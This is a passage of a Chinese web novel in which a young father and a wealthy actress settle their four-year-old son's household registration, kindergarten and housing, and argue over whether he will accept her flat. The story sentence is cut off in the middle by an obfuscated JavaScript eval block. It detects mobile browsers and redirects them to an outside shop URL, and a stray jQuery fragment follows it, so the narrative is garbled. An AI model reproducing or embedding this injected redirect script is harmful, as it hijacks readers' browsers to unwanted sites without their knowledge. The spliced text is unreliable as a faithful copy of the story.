“阿蛋的户口还差一项,关于姓氏。虽然在我户口本上,但是我问过阿蛋,他大名叫陆时序,所以还是让他跟你姓,我们尽量不要改变什么。我查过,作为收养一方可以让孩子保留原来的姓氏。” 陆桉点头,他对陆阿蛋姓什么没什么意见,他还是随奶奶姓,不过如果未来孩子姓陆,就尽量不改变了,陆阿蛋自己适应不了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311227|198855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再怕有什么蝴蝶效应。 “谢谢你。”陆桉这下放心了,办下京北户口,陆阿蛋就可以稳定上学了。 “阿蛋说他之前是在未来星幼儿园,我也打算不换了,想来在未来我……我们都是精心为他挑好的。” 陆桉也是这样想的,不过有个问题,未来星幼儿园离陆桉现在住的地方,通勤需要一个小时,着实有点远。这也是当初陆桉在做幼儿园攻略的时候,犹豫的因素。 不过,终归还是为了阿蛋好。一样的幼儿园,陆阿蛋可以更快适应,接受更好的教育。 陆桉下定决心,“等明年开学,我这边的房租就不续了,去那边再租个房子。” “不用这么麻烦,我那边有套房子,到时候你跟阿蛋直接住过去。” 陆桉垂下眼眸,沉默着没说话,尖无意识地摩挲着玻璃杯壁。 年上熙见他半天不吭声,眉头轻轻一蹙。 她往前微微倾身,语气带着点惯常的随意,“喂,怎么不说话?” 陆桉终于抬眼,眸色很淡,却压着不易察觉的紧绷,“我现在接触到了核心项目,工资提成都高了不少,到时候可以租一套不错的房子。” 年上熙当即皱起眉,语气里满是不解与无奈,直接打断了他的话。 “陆桉,你工资再高又能高到哪里去?你何必舍近求远?我那套学区房本来就空着,地段、环境、配套都是顶好的,带独立大花园,还有专门的音乐室和创作间,阿蛋喜欢音乐喜欢建筑,以后学乐器、做手工、搭建筑模型都能满足,你出去租房子,怎么可能有这些条件?你明明可以让孩子过得更舒服,为什么非要自找麻烦、这么别扭?” 他声音沉了些,“我有我自己的方式。” “什么方式?硬扛?” 年上熙笑了一声,没恶意,却直白得戳心,“你现在本来就没什么钱,非要打肿脸充胖子?为了那点没必要的自尊心,让阿蛋跟着你折腾?” 年上熙原本还不觉得什么,今天来到陆桉的小区,她没见过这个破烂的地方,还有这里虽然陆桉布置的很温馨,但是看到陆阿蛋窝在阳台上盖房子,她就很难受,明明有更好的条件,她的孩子不该这样。 她往前倾了倾身,语气诚恳又直白,把心底的顾虑一股脑说了出来。 “如果你是担心江澈,那你更没必要,我们俩本来就是为了阿蛋才凑在一起处理这些事,清清白白、问心无愧。我的初衷从头到尾都是为了阿蛋,如果你也真心为孩子好,就别再固执了,答应我搬过去。” 道理陆桉都明白,这套房子对富家大小姐的年上熙来说不算什么,她的初衷一切都是为了给陆阿蛋最好的教育,最好的生活。 她随手就能给出的安稳,是他拼尽全力都想给儿子的底气,她越是坦荡纯粹,他就越觉得自己渺小无力。 可他该死的自尊心,让他如何心安理得的接受。 “我每月付你房租。” 这是陆桉的办法,也是他存有的私心,如果最终还是无法势均力敌,那至少做到不亏欠。 年上熙无所谓,房租对她来说可有可无,但如果让他更自在她接受,“可以。” 第二天上午就是期末考试,两人同专业,考试时间完全撞上。 陆阿蛋才四岁,总不能把他一个人丢在家里。 临时找保姆,第一次见面就把孩子交给陌生人,谁都放心不下。 年上熙提议,不然让她的助理帮忙照看一阵。 陆桉却摇了头,直接拒绝。 把阿蛋放在她的工作人员身边,风险太大。孩子太小,不懂防备,还是待在自己眼皮子底下最稳妥。 他只淡淡说了一句:“交给我就行。” 年上熙没再多问。 在照顾陆阿蛋这件事上,陆桉向来靠谱,也足够让人信任。 第二天九点,考试准时开始。 年上熙如今热度正高,一进校园就轻易引来骚动。她穿得格外低调,可还是没能躲开围上来的人群。粉丝和同学一拥而上,将她团团围住,她在保镖的簇拥下,走得艰难又焦躁。 她烦躁地抬眼,想找条路绕开人群。 然后看见了陆桉。 他抱着陆阿蛋,站在人群外围。陆阿蛋趴在他肩上,小脑袋一点一点的,还没睡醒的样子。 年上熙心里一动,他带着孩子来考试?谁帮他看着? 正要移开目光,她看见陆桉身边站着一个人。 一个白大衣长发女生。